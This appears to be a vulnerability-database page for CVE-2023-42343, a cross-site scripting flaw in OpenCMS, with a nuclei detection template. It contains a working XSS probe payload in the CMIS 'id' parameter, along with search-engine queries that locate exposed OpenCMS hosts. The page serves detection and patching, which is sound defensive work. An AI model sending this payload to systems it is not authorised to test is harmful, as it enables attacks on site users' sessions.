Browse / CVEs / CVE-2023-42343
CVE-2023-42343· alkacon / opencms
OpenCMS - Cross-Site Scripting
mediumseverity
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it
OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.
Impact
Unauthenticated attackers can inject malicious JavaScript through the id parameter in CMIS endpoints to steal user session cookies and execute attacks against OpenCMS users.
Fix
Fixed in 10.5.1.
How to confirm it
Send: GET {{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27"><svg%20onload=alert(document.domain)>
Positive when: contains "Apache Chemistry OpenCMIS" and "<svg onload=alert(document.domain)>"Run it with nuclei: nuclei -id CVE-2023-42343 -u <target>
The full check
id: CVE-2023-42343
info:
name: OpenCMS - Cross-Site Scripting
author: DhiyaneshDK
severity: medium
description: |
OpenCMS below 10.5.1 is vulnerable to Cross-Site Scripting vulnerability.
impact: |
Unauthenticated attackers can inject malicious JavaScript through the id parameter in CMIS endpoints to steal user session cookies and execute attacks against OpenCMS users.
remediation: Fixed in 10.5.1.
reference:
- https://labs.watchtowr.com/xxe-you-can-depend-on-me-opencms/
classification:
cve-id: CVE-2023-42343
epss-score: 0.0059
epss-percentile: 0.48549
metadata:
verified: true
max-request: 1
shodan-query:
- "/opencms/"
- http.title:"opencms"
- cpe:"cpe:2.3:a:alkacon:opencms"
product: opencms
vendor: alkacon
fofa-query: title="opencms"
google-query: intitle:"opencms"
tags: cve,cve2023,xss,opencms,vuln
http:
- method: GET
path:
- '{{BaseURL}}/opencms/cmisatom/cmis-online/type?id=1%27"><svg%20onload=alert(document.domain)>'
headers:
Content-Type: application/cmisquery+xml
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Apache Chemistry OpenCMIS'
- '<svg onload=alert(document.domain)>'
condition: andReferences
Use this check only on systems you are authorised to test. Where the data comes from